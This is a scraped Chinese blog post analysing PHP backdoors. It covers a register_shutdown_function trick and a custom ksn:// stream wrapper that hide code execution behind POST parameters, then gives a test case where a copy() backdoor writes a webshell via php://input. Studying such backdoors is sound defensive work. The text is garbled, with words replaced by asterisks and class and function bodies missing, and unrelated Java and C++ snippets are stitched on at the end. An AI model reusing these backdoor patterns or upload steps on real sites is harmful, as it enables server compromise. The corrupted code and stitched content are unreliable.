php流包裝器

2021-08-21 07:24:21 字數 3921 閱讀 8795

根據我們最新的報告,百分之七十二的被入侵**都含有後門。後門是攻擊者為了保持控制權而在站點留下的特殊檔案。必要的時候,攻擊者會利用它再次感染該站點。

我們偶然發現了一些不需要使用php常見函式(比如:eval,create_function,preg_replace,assert,base64_decode)即可實現的後門。

這些罕見後門看上去就像普通**一樣,它們不需要常見的混淆方法(比如:加密字串,大小寫混淆,字串拼接)就可以讓攻擊者任意**執行。

讓我們從簡單的看起。在@package.win.error.libraries,並且有這樣乙個函式:

function win()
此處的 $_post 引數看上去十分可疑,那麼這個**到底是不是後門呢?

register_shutdown_function註冊了乙個在此指令碼執行完畢後的操作。這意味著無論這個**出現在哪一行,它只在執行完時才被呼叫。

這樣的話,指令碼執行完後呼叫的函式便是:

$_post['d']('', $_post['f']($_post['c']))
這行**看上去如同加密一般。如果你不清楚黑客能用它幹什麼,讓我們來想想黑客代入如下引數執行後會怎麼樣:

d=create_function

f=base64_decode

c=some_base64_encoded_malicious_php_code

於是,便會這樣:

create_function('', base64_decode(some_base64_encoded_malicious_php_code))
現在便是乙個正常的後門了。這個**不需要被直接呼叫,因為shutdown函式會自動執行它。

之前的只是熱身罷了,現在我們來看看更複雜的。

這次我們用@package stream.ksn.libraries。我們不難推導出這裡有個stream類並和乙個建立ksn協議流包裝器的函式。

class stream  

}// register connect the library stream

$fp = fopen('ksn://'.$_post['f']($_post['c']), '');

我們來用幾個小節分析這個**

**貌似人畜無害

對於一些開發者來講,這個**看上去像是那些第三方寫的內容管理外掛程式**。

等等!我們在**中看到了post。因為攻擊者總是可以操控它,因此對post保持警惕。然而,我們不清楚post具體的作用。

你玩過那些文字解密的遊戲嗎?這和我們做的十分相似。

我們先從stream_open分析:

$f = $_post['d']('', $url["host"]);
當post引數被用做函式名時,這引起了我們的關注。看上去 $_post['d] 作用像之前的create_function。如果這樣的話,$url['host']應該是可執行**,但是乙個經過parse_url處理的函式應該包含不了**吧?不過。。。

模糊化網域名稱格式

讓我們看看傳進stream_open$path—— 它包括了乙個被parse_url解析過後的url,我們首先分析一下下列**:

初始化完成時,stream_open會被直接呼叫。(比方說fopen該協議時)

stream_open應該是像如下一樣被宣告。其中,$path是被傳遞到fopen的url

我們可以用fopen來開啟ksn://協議的url

$fp = fopen('ksn://'.$_post['f']($_post['c']), '');
所以我們的path就是:

『ksn://』.$_post[『f』]($_post[『c』]),』
這會構造乙個可以讓主機執行惡意**的url

那麼我們應該如何構建乙個可以被當做合法php**執行的網域名稱或者ip位址?

根據 rfc3986,我們並不需要構建合法的網域名稱,因為parse_url不會檢查url的合法性,它只負責解析。任何從 :// 開始,以 / 或 : 結尾的那一部分字串(如果沒有的話,則是餘下的全部字元)都被視作主機名部分。

比方說,如果你把ksn://eval(base64_decode($_post[「code」]));傳遞給parse_url,主機部分便是eval(base64_decode($_post[「code」]));

就像之前那,我們此處可以理解:

f=base64_decode

c=some_base64_encoded_malicious_php_code

然後就會執行這樣的fopen

$fp = fopen('ksn://base64_decode(base64_encoded_malicious_php_code)', '');
回過頭來看stream_open,我們可以知道被傳入的url

$f = $_post['d']('', $url["host"]);
其實是:

$f = create_function('', base64_decode(base64_encoded_malicious_php_code));
到了最後,$f會被呼叫:

$f();
簡單來說,這個後門就是開啟 ksn:// 協議的fopen引起的,然而我們僅粗略地讀不會發現什麼異常

自己的測試例項:

出現原因:

在 templates/m/ 資料夾下出現了乙個 content_list.php 檔案,修改時間為 2023年5月25日。

經過解密,9c224bc6b59179729b15e1dddcbb5c82為字串kejishidai的md5值。

由**知,這裡存在乙個copy函式構成的後門。

在第12行,實際執行的即為:

copy(trim($_get[url]),$_get[cms]);

將引數url設定為php://input,引數cms設定為shell的檔名,然後post傳入webshell。如下:

post:

<?php phpinfo();?>

freebuf關於流包裝器構成webshell的講解

國外文件

包裝流和緩衝流

處理流 包裝流 相對於節點流更高階 裝飾設計模式 包裝模式 1 隱藏了底層的節點流的差異 並對外提供了更方便的輸入 輸出功能 讓我們只關心高階流的操作.2 使用處理流包裝了節點流 程式直接操作處理流 讓節點流與底層的裝置做 io操作.實際識別處理流 包裝流非常簡單,只要流的構造器引數不是乙個物理節點...

執行緒包裝器

thread.h ifndef thread h define thread h include class thread endif thread.cpp include include static void posixthreadproc void param thread thread bo...

日期包裝器

下面是linux日期包裝器,沒有用到localtime r,其實應該也沒有什麼關係。data.h ifndef date h define date h include class date public int getyear int getmonth int getday int getweek...